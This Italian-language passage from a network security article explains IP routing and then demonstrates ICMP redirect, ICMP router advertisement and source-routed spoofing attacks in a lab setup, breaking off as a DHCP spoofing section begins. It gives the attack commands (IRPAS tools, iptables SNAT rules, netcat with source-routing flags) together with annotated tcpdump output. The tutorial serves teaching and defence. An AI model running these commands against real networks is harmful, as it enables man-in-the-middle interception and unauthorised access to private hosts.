| - router: oltre ad agire come host ha la funzione di instradare i |
| pacchetti che provengono da host differenti dal proprio, garantendo |
| la consegna dei pacchetti tra reti differenti, questi dispositivi sono |
| generalmente dotati di due o più interfacce di rete e si affacciano in |
| tal modo su più di una rete contemporaneamente. |
| |
| Indipendentemente che si tratti di host o di router entrambe le macchine |
| possiedono una tabella di routing che è possibile consultare dall' |
| interprete dei comandi in questo modo: |
| |
| # netstat -rn |
| Kernel IP routing table |
| Destination Gateway Genmask Flags MSS Window irtt Iface |
| 192.168.1.0 0.0.0.0 255.255.255.0 U 40 0 0 eth0 |
| 127.0.0.0 0.0.0.0 255.0.0.0 U 40 0 0 lo |
| 0.0.0.0 192.168.1.1 0.0.0.0 UG 40 0 0 eth0 |
| |
| oppure... |
| |
| # route -n |
| Kernel IP routing table |
| Destination Gateway Genmask Flags Metric Ref Use Iface |
| 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 |
| 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo |
| 0.0.0.0 192.168.1.1 0.0.0.0 UG 1 0 0 eth0 |
| |
| o anche da MS-DOS... |
| |
| C:\>route print |
| |
| Route attive: |
| |
| Indirizzo rete Maschera Indirizzo gateway Interfac. Metric |
| 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.35 1 |
| 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 |
| 192.168.1.0 255.255.255.0 192.168.1.35 192.168.1.35 1 |
| 192.168.1.35 255.255.255.255 127.0.0.1 127.0.0.1 1 |
| 192.168.1.255 255.255.255.255 192.168.1.35 192.168.1.35 1 |
| 224.0.0.0 224.0.0.0 192.168.1.35 192.168.1.35 1 |
| 255.255.255.255 255.255.255.255 192.168.1.35 0.0.0.0 1 |
| |
| |
| Quando un host deve inviare un pacchetto la prima cosa che fa è |
| consultare la propria tabella di routing, tramite il processo di messa |
| in AND dell'IP di destinazione e la netmask determina se il destinatario |
| del pacchetto è un host locale (all'interno della stessa rete locale) o |
| un host remoto. |
| Nel primo caso l'host preso in esame genera un frame il cui header a |
| livello fisico contiene come MAC address di destinazione l'indirizzo |
| fisico della scheda dell'host destinatario del pacchetto (ricavato |
| mediante ARP request) e l'header IP (livello rete) contiene come IP di |
| destinazione l'IP address del sistema destinatario. |
| Il pacchetto attraverserà una porzione del mezzo fisico che connette i |
| due host e giungerà a destinazione senza bisogno di alcuna mediazione di |
| terze parti. |
| Le cose cambiano leggermente nel caso in cui la destinazione dovesse |
| rivelarsi un host remoto, l'host mittente provvederà a specificare all' |
| interno dell'header fisico un MAC address di destinazione relativo al |
| router indicato nella propria routing table o al router di default nel |
| caso in cui non compaia una route specifica per tale destinazione. |
| L'header IP si presenterà identico al caso precedente. |
| Il pacchetto giungerà in un primo momento al router il cui indirizzo |
| MAC figura come destinazione all'interno dell'header del livello fisico |
| del frame. L'interfaccia di rete del router esamina l'intestazione del |
| frame per vedere se l'indirizzo MAC di destinazione corrisponde al |
| proprio e in caso affermativo procede al demultiplexing(1) del frame che |
| continua ad essere processato al livello superiore dello stack TCP/IP. |
| |
| (1) demultiplexing: quando un frame giunge all'interfaccia di rete dell' |
| host di destinazione procede verso l'alto dello stack, per ogni |
| livello della pila che attraversa gli viene rimosso il relativo |
| header. Ogni protocollo prende visione di uno specifico campo del |
| proprio header per decidere chi debba ricevere il campo dati del |
| pacchetto a livello superiore. |
| |
| L'indirizzo IP di destinazione contenuto nell'header del pacchetto viene |
| confrontato con il proprio ma di fatto risultano differenti (l'IP di |
| destinazione del pacchetto non è il router bensì il sistema finale) così |
| il router provvede ad instradare il pacchetto avvalendosi delle |
| informazioni contenute nella propria routing table. |
| Se tutto va bene il pacchetto giungerà a destinazione sano e salvo dopo |
| aver attraversato un numero non ben precisato di hop(2). |
| |
| (2) hop: un hop è rappresentato da un router o da qualsiasi dispositivo |
| con funzionalità di routing in grado di provvedere all'instradamento |
| dei pacchetti. |
| |
| 2. IP Routing Attack |
| |
| Il routing dei pacchetti soffre di alcune debolezze che riguardano in |
| particolare le modalità con cui le tabelle di routing dei vari host |
| vengono inizializzate ed aggiornate. |
| Nel seguito dell'articolo analizzeremo le modalità con cui un utente |
| malizioso può interferire in tale processo al fine di compromettere la |
| confidenzialità e l'integrità dei dati trasmessi. |
| |
| 2.1 ICMP Redirect |
| |
| Un messaggio ICMP redirect viene inviato da un router all'host sorgente |
| quando un determinato pacchetto può giungere a destinazione attraverso |
| un percorso alternativo che presenta una metrica(3) migliore. |
| |
| (3) metrica: la metrica rappresenta il numero di hop necessari per |
| raggiungere una specifica destinazione, più piccolo è il suo valore |
| e migliore è il percorso. |
| |
| L'host sorgente che riceve il messaggio ICMP redirect PUO' aggiornare la |
| propria routing table in accordo alle informazioni in esso contenute. |
| Lo schema riportato in seguito è tratto dall'RFC 792 e illustra la |
| struttura di tale messaggio: |
| |
| Redirect Message |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Type | Code | Checksum | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Gateway Internet Address | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Internet Header + 64 bits of Original Data Datagram | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
| |
| L'header del pacchetto IP in cui il messaggio ICMP viene incapsulato |
| determina il mittente del messaggio (il router a cui l'host ha affidato |
| un proprio pacchetto), il campo "Gateway Internet Address" rappresenta |
| il router alternativo consigliato per raggiungere una data destinazione, |
| tale destinazione può essere univocamente determinata in base alle |
| informazione contenute nel campo dati del pacchetto ICMP (l'header del |
| pacchetto che ha causato il redirect). |
| Alla luce di quanto detto un utente malizioso è in grado di modificare |
| l'instradamento del traffico di un host arbitrario forgiando un |
| messaggio ICMP di tipo 5 fasullo il cui indirizzo IP di provenienza sia |
| spoofato con quello del router correntemente utilizzato dalla vittima e |
| presentando il proprio host come router alternativo per una data |
| destinazione. |
| Operando in tal modo l'attacker potrà garantire al proprio host una |
| posizione privilegiata, anche detta man in the middle, dalla quale sarà |
| in grado di modificare il traffico che lo attraversa. |
| Le route inserite nelle tabella di routing dell'host vittima in seguito |
| ad un ICMP redirect sono temporanee e per tanto vanno rinfrescate ad |
| intervalli regolari con ulteriori redirect. |
| L'unica condizione necessaria alla riuscita di tale attacco è che |
| l'attacker deve essere in grado di sniffare i pacchetti provenienti |
| dalla vittima al fine di poter forgiare un pacchetto ICMP redirect |
| valido che contenga l'IP header e 64 bit di dati del pacchetto |
| originale. |
| |
| Alcuni sistemi accettano di default i messaggi ICMP redirect e risultano |
| di conseguenza vulnerabili a questo tipo di attacco. |
| In particolare Windows98 e diverse distribuzioni Linux accettano di |
| default i redirect (testata Slackware 8.0 risulta vulnerabile), sotto |
| Linux è possibile accedere ai settaggi che consentono di abilitare e |
| disabilitare i redirect tramite /proc filesystem: |
| |
| # cat /proc/sys/net/ipv4/conf/eth0/accept_redirects |
| 1 |
| |
| Segue un breve esempio di attacco che sfrutta gli ICMP redirect per |
| realizzare una condizione di man in the middle, il tool utilizzato nell' |
| esempio fa parte del pacchetto IRPAS dei Phenoelit. |
| Quella che segue è la descrizione di un ipotetico scenario d'attacco: |
| |
| Default Gateway -> IP 192.168.1.1 MAC rr:oo:uu:tt:ee:rr |
| Attacker -> IP 192.168.1.4 MAC aa:tt:tt:aa:cc:kk |
| Victim -> IP 192.168.1.6 MAC vv:ii:cc:tt:ii:mm |
| |
| L'attacker abilità l'IP forwarding sul proprio host al fine di |
| permettere al flusso di pacchetti rediretto di attraversare il proprio |
| host. |
| |
| # echo 1 > /proc/sys/net/ipv4/ip_forward |
| |
| Inibisce la generazione da parte dello stack TCP/IP di ICMP redirect |
| legittimi che potrebbero compromettere la riuscita dell'attacco. |
| |
| # iptables -A OUTPUT -s 192.168.1.4 -p icmp --icmp-type 5 -j DROP |
| |
| Il tool icmp_redirect ha lo scopo di sniffare i pacchetti generati dalla |
| vittima e forgiare un pacchetto ICMP redirect contenente l'IP header e |
| 64 bit di dati del pacchetto originale. |
| |
| # ./icmp_redirect -i eth0 -s 192.168.1.6/255.255.255.255 -G 192.168.1.4 |
| -S 192.168.1.1 |
| ICMP local redirector $Revision: 1.4 $ |
| (c) 2k++ FX <fx@phenoelit.de> |
| Phenoelit (http://www.phenoelit.de) |
| IRPAS build XXXIX |
| |
| In questo modo attendiamo il prossimo pacchetto proveniente dall'host |
| sorgente (-s) 192.168.1.6, e faremo in modo di proporci come miglior |
| gateway (-G) 192.168.1.4 preoccupandoci che la sorgente del pacchetto |
| sembri provenire dal default gateway (-S) 192.168.1.1 a cui il traffico |
| è destinato. |
| Qui di seguito riporto l'output commentato di tcpdump che illustra i |
| pacchetti generati dagli host interessati: |
| |
| # tcpdump -ne |
| tcpdump: listening on eth0 |
| ## pacchetto SYN inviato dalla vittima verso un host remoto, il MAC |
| ## address di destinazione corrisponde a quello del default gateway |
| 20:19:57.605301 vv:ii:cc:tt:ii:mm rr:oo:uu:tt:ee:rr 0800 74: |
| 192.168.1.6.1027 > 216.239.51.100.80: S 2243434109:2243434109(0) |
| win 16060 <mss 1460,sackOK,timestamp 19316[|tcp]> (DF) [tos 0x10] |
| |
| ## ICMP redirect message inviato da attacker ma spoofato con l'IP del |
| ## default gateway, si può notare che il source MAC address del frame |
| ## corrisponde all'indirizzo della scheda del sistema attacker |
| 20:19:57.605538 aa:tt:tt:aa:cc:kk vv:ii:cc:tt:ii:mm 0800 70: |
| 192.168.1.1 > 192.168.1.6: icmp:redirect 216.239.51.100 to net |
| 192.168.1.4 |
| |
| ## pacchetto SYN/ACK di risposta proveniente dall'host remoto |
| 20:19:57.798993 rr:oo:uu:tt:ee:rr vv:ii:cc:tt:ii:mm 0800 74: |
| 216.239.51.100.80 > 192.168.1.6.1027: S 97283257:97283257(0) |
| ack 2243434110 win 32120 <mss 1460,sackOK,timestamp 135811052[|tcp]> |
| (DF) [tos 0x38] |
| |
| ## pacchetto ACK inviato dalla vittima, ora il MAC address di |
| ## destinazione NON è più quello del default gateway ma bensì quello del |
| ## sistema controllato dall'attacker |
| 20:19:57.799099 vv:ii:cc:tt:ii:mm aa:tt:tt:aa:cc:kk 0800 66: |
| 192.168.1.6.1027 > 216.239.51.100.80: . ack 1 win 16060 |
| <nop,nop,timestamp 19336 135811052> (DF) [tos 0x10] |
| |
| ## l'attacker si prende cura di instradare il traffico al default |
| ## gateway che a sua volta lo inoltrerà verso la destinazione remota |
| 20:19:57.799208 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 66: |
| 192.168.1.6.1027 > 216.239.51.100.80: . ack 1 win 16060 |
| <nop,nop,timestamp 19336 135811052> (DF) [tos 0x10] |
| |
| 5 packets received by filter |
| 0 packets dropped by kernel |
| |
| |
| 2.2 ICMP Router Discovery |
| |
| I messaggi ICMP router discovery forniscono un metodo alternativo per |
| inizializzare le routing table di un host con gli indirizzi IP dei |
| router adiacenti ad esso, tale compito infatti è solitamente affidato a |
| dei file di configurazione statici richiamati a tempo di boot. |
| Tale protocollo si avvale di due diversi messaggi: |
| |
| - ICMP router advertisement message: viene inviato periodicamente da un |
| router all'indirizzo di broadcast o in risposta ad un ICMP router |
| solicitation, permettendo agli host circostanti di aggiornare la |
| propria routing table in accordo alle informazione in esso contenute. |
| Segue lo schema tratto dall'RFC 1256 che ne illustra il formato: |
| |
| ICMP Router Advertisement Message |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Type | Code | Checksum | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Num Addrs |Addr Entry Size| Lifetime | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Router Address[1] | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Preference Level[1] | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Router Address[2] | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Preference Level[2] | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | . | |
| | . | |
| | . | |
| |
| |
| - ICMP router solicitation message: viene inviato da un host all' |
| indirizzo di broadcast per sollecitare l'invio di un messaggio ICMP |
| router advertisement da parte dei router circostanti. |
| Segue lo schema tratto dall'RFC 1256 che ne illustra il formato: |
| |
| ICMP Router Solicitation Message |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Type | Code | Checksum | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Reserved | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
| |
| Un utente malizioso avvalendosi delle funzionalità offerte da tale |
| protocollo è in grado di compromettere la confidenzialità e l'integrità |
| dei dati potendo proporsi ad un host come default gateway. |
| Al fine di modificare a proprio vantaggio la tabella di routing di un |
| host remoto un utente malevolo potrebbe inviare un ICMP router |
| advertisement il cui campo Router Address del messaggio contenga il |
| proprio indirizzo IP e un livello di preferenza superiore alla route di |
| default settata staticamente sulla macchina della vittima. |
| |
| Segue un esempio di attacco che sfrutta gli ICMP router advertisement |
| per alterare la tabella di routing dell'host vittima, lo scenario si |
| presenta simile a quello illustrato nel precedente paragrafo: |
| |
| Default Gateway -> IP 192.168.1.1 MAC rr:oo:uu:tt:ee:rr |
| Attacker -> IP 192.168.1.4 MAC aa:tt:tt:aa:cc:kk |
| Victim -> IP 192.168.1.35 MAC vv:ii:cc:tt:ii:mm |
| |
| Questa volta il sistema vittima runna Windows98 che si è rivelato |
| vulnerabile a questo tipo di attacco, la tabella di routing di tale host |
| si presenta in origine in questo modo: |
| |
| C:
\>route print |
| |
| Route attive: |
| |
| Indirizzo rete Maschera Indirizzo gateway Interfac. Metric |
| 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.35 1 |
| 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 |
| 192.168.1.0 255.255.255.0 192.168.1.35 192.168.1.35 1 |
| 192.168.1.35 255.255.255.255 127.0.0.1 127.0.0.1 1 |
| 192.168.1.255 255.255.255.255 192.168.1.35 192.168.1.35 1 |
| 224.0.0.0 224.0.0.0 192.168.1.35 192.168.1.35 1 |
| 255.255.255.255 255.255.255.255 192.168.1.35 0.0.0.0 1 |
| |
| La route che a noi interessa è quella che fa riferimento al default |
| gateway (0.0.0.0), sarà proprio quella che cercheremo di scavalcare |
| proponendo al sistema della vittima una route con una metrica più |
| vantaggiosa: |
| |
| # ./irdp -i eth0 -D 192.168.1.35 -p 1000 |
| |
| In questo modo l'attacker forgia un ICMP router advertisement con il |
| quale si propone alla vittima (-D 192.168.1.35) come default gateway con |
| una preferenza superiore (-p 1000) alla route già presente nella routing |
| table. |
| |
| # tcpdump -ne |
| tcpdump: listening on eth0 |
| 15:01:15.870881 aa:tt:tt:aa:cc:kk vv:ii:cc:tt:ii:mm 0800 50: |
| 192.168.1.4 > 192.168.1.35: icmp: router advertisement lifetime 30:00 1: |
| {192.168.1.4 1000} |
| |
| 1 packets received by filter |
| 0 packets dropped by kernel |
| |
| La route proposta dall'attacker, avendo una metrica migliore, va così a |
| sostituire quella presente in origine dando vita ad una situazione di |
| man in the middle estremamente insidiosa: |
| |
| C:\>route print |
| |
| Route attive: |
| |
| Indirizzo rete Maschera Indirizzo gateway Interfac. Metric |
| 0.0.0.0 0.0.0.0 192.168.1.4 192.168.1.35 0 |
| 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.35 1 |
| 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 |
| 192.168.1.0 255.255.255.0 192.168.1.35 192.168.1.35 1 |
| 192.168.1.35 255.255.255.255 127.0.0.1 127.0.0.1 1 |
| 192.168.1.255 255.255.255.255 192.168.1.35 192.168.1.35 1 |
| 224.0.0.0 224.0.0.0 192.168.1.35 192.168.1.35 1 |
| 255.255.255.255 255.255.255.255 192.168.1.35 0.0.0.0 1 |
| |
| |
| 2.3 Source Ruoting |
| |
| Come abbiamo potuto vedere nella prima parte dell'articolo quando un |
| pacchetto IP lascia l'interfaccia del nostro host per raggiungere una |
| destinazione remota dovrà attraversare diversi hop prima di giungere al |
| sistema finale, le decisioni riguardanti il miglior percorso da far |
| intraprendere ad ogni pacchetto sono lasciate di norma ai router i quali |
| fanno le proprie scelte sulla base delle informazioni contenute nelle |
| proprie tabelle di routing. |
| Il source routing altro non è che un'opzione del protocollo IP che |
| fornisce la possibilità all'applicazione di decidere la rotta dei propri |
| pacchetti, a causa degli abusi e della dubbia utilità di questa opzione |
| la quasi totalità dei router scartano qualsiasi pacchetto che contenga |
| tale opzione scongiurando qualsiasi sorta di attacco. |
| Ad ogni modo ho scelto di trattare l'argomento giudicandolo ugualmente |
| interessante e di discutere le principali problematiche derivanti da un |
| suo uso scorretto. |
| |
| Il primo problema derivante dall'implementazione del source routing è |
| quello di fornire ad un utente malizioso i mezzi per condurre un attacco |
| IP spoofing NON blind, ma prima di avventurarci nella trattazione di |
| questo attacco è necessaria una breve descrizione di tale attacco nella |
| sua forma canonica: blind spoofing. |
| |
| Quando si parla di IP spoofing normalmente si fa riferimento al blind |
| spoofing ovvero un attacco che prevede la generazione da parte di un |
| host malevolo di pacchetti IP il cui header è stato forgiato in modo non |
| convenzionale e contiene all'interno del campo source address un |
| indirizzo IP fasullo che non coincide con l'IP del sistema che lo ha |
| generato. |
| Questa tecnica permette di inviare traffico verso un host spacciandosi |
| per qualcun altro (l'IP sorgente contenuto nell'header dei pacchetti) |
| con il solo inconveniente di perdere la bidirezionalità della |
| connessione, in quanto le risposte ai nostri pacchetti spoofati |
| giungeranno all'host che abbiamo impersonificato e non al nostro host |
| riducendo notevolmente le nostre possibilità di chiudere un TCP |
| handshake con un possibile target. |
| |
| Avvalendoci delle funzionalità offerte dall'opzione source routing del |
| protocollo IP abbiamo la possibilità di fornire noi stessi (sorgente dei |
| pacchetti) la rotta da noi desiderata aggirando così le limitazioni |
| insite in un attacco blind spoofing. |
| Un utente malizioso può in questo modo mandare pacchetti con IP spoofato |
| e l'opzione loose(4) source routing abilitata facendo comparire il |
| proprio host come hop obbligato per una data destinazione, l'host che |
| riceverà tali pacchetti risponderà all'host legittimo (quello per il |
| quale ci siamo spacciati) ma i pacchetti transiteranno ugualmente |
| attraverso l'host da cui proviene l'attacco fornendoci la possibilità di |
| prendere visione delle risponde che sopraggiungono. |
| |
| (4) loose source routing: esistono due forme leggermente differenti di |
| source routing, strict source routing permette di specificare |
| l'esatto percorso che il pacchetto dovrà seguire per giungere a |
| destinazione, loose source routing, invece, permette di porre dei |
| passaggi obbligati che i pacchetti devono attraversare prima di |
| giungere a destinazione. |
| |
| E' di fondamentale importanza specificare che il percorso source routed |
| influenza sia il tragitto che separa l'host mittente dal destinatario |
| che vice versa, se così non fosse il nostro attacco non avrebbe modo di |
| esistere. |
| |
| |
| BLIND SPOOFING |
| |
| ________ (1) SYN src=spoof dst=victim ________ |
| | |---------------------------------->| | |
| | ATTACK | (3) ACK src=spoof dst=victim | VICTIM | |
| |________|---------------------------------->|________| |
| ack=???? | |
| | |
| ________ | |
| | | (2) SYN/ACK src=victim dst=spoof | |
| | SPOOF |<---------------------------------------| |
| |________| ISN=xyz |
| |
| |
| |
| SOURCE ROUTED SPOOFING |
| |
| |
| ________ (1) SYN src=spoof dst=victim ________ |
| | |---------------------------------->| | |
| | ATTACK | (2) SYN/ACK src=victim dst=attack | VICTIM | |
| |________|<----------------------------------|________| |
| | | ISN=xyz ^ |
| | | | |
| | | | |
| | | (3) ACK src=spoof dst=victim | |
| D | |-------------------------------------------| |
| R | ack=xyz+1 |
| O . |
| P . (2) SYN/ACK src=victim dst=spoof |
| . ISN=xyz |
| . |
| . |
| __V_____ |
| | | |
| | SPOOF | |
| |________| |
| |
| |
| |
| Questa volta l'attacker cercherà di stabilire una sessione con il |
| sistema victim facendo sembrare che la connessione arrivi dal sistema |
| che per semplicità ho denominato spoofed: |
| |
| Router -> IP 192.168.1.3 MAC rr:oo:uu:tt:ee:rr |
| Attacker -> IP 192.168.1.4 MAC aa:tt:tt:aa:cc:kk |
| Spoofed -> IP 192.168.1.5 MAC aa:tt:tt:aa:cc:kk |
| Victim -> IP 192.168.1.6 MAC vv:ii:cc:tt:ii:mm |
| |
| Prima di tutto l'attacker deve preoccuparsi di abilitare l'IP forwarding |
| e il source routing sul proprio host: |
| |
| # echo 1 > /proc/sys/net/ipv4/ip_forward |
| # echo 1 > /proc/sys/net/ipv4/conf/all/accept_source_route |
| |
| Lo spoofing dei pacchetti IP è ottenuto settando un source NAT su tutto |
| il traffico in uscita dal proprio host, l'IP sorgente verrà convertito |
| in fase di postrouting in maniera del tutto trasparente all'applicazione |
| |
| # iptables -t nat -A POSTROUTING -s 192.168.1.4 -j SNAT |
| --to-source 192.168.1.5 |
| |
| Ora siamo pronti per lanciare il nostro attacco, useremo netcat per |
| generare del traffico source routed: |
| |
| # nc -g 192.168.1.3 -g 192.168.1.4 -G 4 192.168.1.6 21 |
| |
| Segue l'output commentato di tcpdump che illustra nel dettaglio le varie |
| fasi dell'handshake spoofato: |
| |
| # tcpdump -ne |
| tcpdump: listening on eth0 |
| ## il sistema attacker (192.168.1.4) manda un pacchetto SYN spoofato che |
| ## sembra aver origine dal sistema spoofed (192.168.1.5) |
| ## La destinazione di tale pacchetto è un generico router (192.168.1.3) |
| 17:26:27.011855 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 90: |
| 192.168.1.5.1029 > 192.168.1.3.21: [|tcp] (DF) |
| |
| ## il router riceve il pacchetto e dopo aver preso visione del campo |
| ## opzioni del pacchetto IP provvede ad instradarlo al prossimo hop |
| ## source routed che corrisponde proprio all'host dell'attacker |
| 17:26:27.012179 rr:oo:uu:tt:ee:rr aa:tt:tt:aa:cc:kk 0800 90: |
| 192.168.1.5.1029 > 192.168.1.4.21: [|tcp] (DF) |
| |
| ## l'host dell'attacker consegna il pacchetto SYN alla vittima |
| 17:26:27.012295 aa:tt:tt:aa:cc:kk vv:ii:cc:tt:ii:mm 0800 90: |
| 192.168.1.5.1029 > 192.168.1.6.21: [|tcp] (DF) |
| |
| ## la vittima ora cercherà di rispondere con un SYN/ACK all'host |
| ## che stiamo impersonificando, credendolo la sorgente del SYN che è |
| ## stato inviato in realtà da attacker. Il primo host ad essere |
| ## attraversato dalla risposta è proprio quello di attacker che compare |
| ## nella lista degli hop source routed |
| 17:26:27.012673 vv:ii:cc:tt:ii:mm aa:tt:tt:aa:cc:kk 0800 86: |
| 192.168.1.6.21 > 192.168.1.4.1029: S 882931410:882931410(0) |
| ack 3025356380 win 5792 <mss[|tcp]> (DF) |
| |
| ## l'attacco è RIUSCITO! Siamo in possesso delle risposte della vittima |
| ## compreso l'ISN che ci permetterà di chiudere l'handshake anche nei |
| ## confronti di host che facciano utilizzo di numeri sequenziali pseudo |
| ## random. |
| ## l'attacker droppa il pacchetto in postrouting in modo da impedire che |
| ## raggiunga l'host spoofed che genererebbe un RST vanificando ogni suo |
| ## sforzo |
| 17:26:27.012794 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 86: |
| 192.168.1.6.21 > 192.168.1.3.1029: S 882931410:882931410(0) |
| ack 3025356380 win 5792 <mss[|tcp]> (DF) |
| |
| 5 packets received by filter |
| 0 packets dropped by kernel |
| |
| Lo stesso attacco sarebbe possibile al di fuori della rete locale se il |
| sistema finale e i dispositivi che separano l'attacker dal sistema |
| destinazione avessero il source routing abilitato. |
| |
| Un discorso a parte merita la trattazione delle problematiche legate |
| alla raggiungibilità degli indirizzi locali riservati da parte di host |
| esterni che facciano uso dell'opzione source routing. |
| In particolare, la IANA ha riservato i seguenti blocchi di indirizzi al |
| fine di garantire uno spazio di indirizzamento assegnabile a qualsiasi |
| host prenda parte ad una rete locale privata che voglia garantire |
| l'accesso ad Internet ai propri utenti: |
| |
| 10.0.0.0 - 10.255.255.255 |
| 172.16.0.0 - 172.31.255.255 |
| 192.168.0.0 - 192.168.255.255 |
| |
| Questa convenzione garantisce l'accesso verso l'esterno e |
| l'impossibilità di accessi alla rete interna al tempo stesso, tali |
| indirizzi, infatti, non sono assegnati per un uso pubblico e risultano |
| di conseguenza non instradabili. |
| Tuttavia un router di confine per una rete privata che supporti il |
| source routing si può prestare a degli abusi e garantire accessi non |
| autorizzati agli utenti remoti. |
| Un attacker può utilizzare l'opzione loose source routing ed indicare |
| l'indirizzo dell'interfaccia pubblica del gateway della rete privata |
| come unico hop obbligato, la destinazione del pacchetto corrisponderà ad |
| un IP privato interno alla rete. |
| In questo modo il pacchetto lascerà la macchina attack con destinazione |
| router, sarà il router stesso, una volta ricevuto il pacchetto, ad |
| esaminare il campo opzioni dell'header IP e a sostituire l'indirizzo |
| destinazione con quello indicato dall'host sorgente. |
| |
| |
| victim1 |
| (2) src=attack dst=victim1 / |
| / |
| / |
| ________ ________ / |
| | | eth0| |eth1 / |
| | ATTACK |------------------------------>| ROUTER |_____/_____ victim2 |
| |________| (1) src=attack dst=router |________| \ |
| LSRR=victim1 \ |
| \ |
| \ |
| \ |
| \ victim3 |
| |
| |
| Vediamo come potrebbe svolgersi tale attacco simulando in locale un' |
| ipotetica situazione in cui un router di confine per una rete privata si |
| trovi nella condizione di supportare l'opzione source routing: |
| |
| Router -> eth0 192.168.1.6 MAC rr:oo:uu:tt:ee:rr |
| eth1 10.0.0.1 |
| Attacker -> IP 192.168.1.4 MAC aa:tt:tt:aa:cc:kk |
| Victim -> IP 10.0.0.2 MAC vv:ii:cc:tt:ii:mm |
| |
| |
| Specifichiamo nella lista degli host source routed l'indirizzo IP del |
| router di confine per la rete privata mentre come destinazione finale un |
| IP privato di cui sappiamo o possiamo ipotizzarne l'esistenza: |
| |
| # nc -g 192.168.1.6 -G 4 10.0.0.2 21 |
| |
| # tcpdump -ne port 21 |
| tcpdump: listening on eth0 |
| ## attacker manda un SYN che ha destinazione iniziale l'interfaccia |
| ## pubblica del router |
| 11:53:46.915604 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 86: |
| 192.168.1.4.1038 > 192.168.1.6.21: S 3270882735:3270882735(0) win 5840 |
| <mss[|tcp]> (DF) |
| |
| ## il router una volta ricevuto il pacchetto prende visione delle |
| ## opzioni contenuto nell'intestazione del pacchetto IP e provvede a |
| ## modificare la rotta del pacchetto verso l'host interno 10.0.0.2 |
| 11:53:46.915910 rr:oo:uu:tt:ee:rr vv:ii:cc:tt:ii:mm 0800 86: |
| 192.168.1.4.1038 > 10.0.0.2.21: S 3270882735:3270882735(0) win 5840 |
| <mss[|tcp]> (DF) |
| |
| ## l'host interno risponde con un SYN/ACK a tale richiesta e la consegna |
| ## provvisoriamente all'interfaccia interna del router che... |
| 11:53:46.916041 vv:ii:cc:tt:ii:mm rr:oo:uu:tt:ee:rr 0800 82: |
| 10.0.0.2.21 > 10.0.0.1.1038: S 3246963737:3246963737(0) ack 3270882736 |
| win 16060 <mss 1460,sackOK,[|tcp]> (DF) |
| |
| ## ...provvede ad instradarla verso l'attacker |
| 11:53:46.916144 rr:oo:uu:tt:ee:rr aa:tt:tt:aa:cc:kk 0800 82: |
| 10.0.0.2.21 > 192.168.1.4.1038: S 3246963737:3246963737(0) |
| ack 3270882736 win 16060 <mss 1460,sackOK,[|tcp]> (DF) |
| |
| ## l'attacker si appresta ad inviare l'ACK che permetterà di concludere |
| ## l'handshake e di poter iniziare la comunicazione vera e propria |
| 11:53:46.916295 aa:tt:tt:aa:cc:kk rr:oo:uu:tt:ee:rr 0800 78: |
| 192.168.1.4.1038 > 192.168.1.6.21: . ack 3246963738 win 5840 |
| <nop,nop,[|tcp]> (DF) |
| |
| ## il router recapita il pacchetto proveniente da attacker all'host che |
| ## si trova nella rete interna, la stato della sessione passa in |
| ## ESTABLISHED |
| 11:53:46.916563 rr:oo:uu:tt:ee:rr vv:ii:cc:tt:ii:mm 0800 78: |
| 192.168.1.4.1038 > 10.0.0.2.21: . ack 1 win 5840 <nop,nop,[|tcp]> (DF) |
| |
| 6 packets received by filter |
| 0 packets dropped by kernel |
| |
| |
| 2.4 DHCP Spoofing |
| |
| Il protocollo DHCP (Dynamic Host Configuration Protocol) risulta utile |
| per gestire l'assegnazione dinamica dei parametri di rete degli host che |
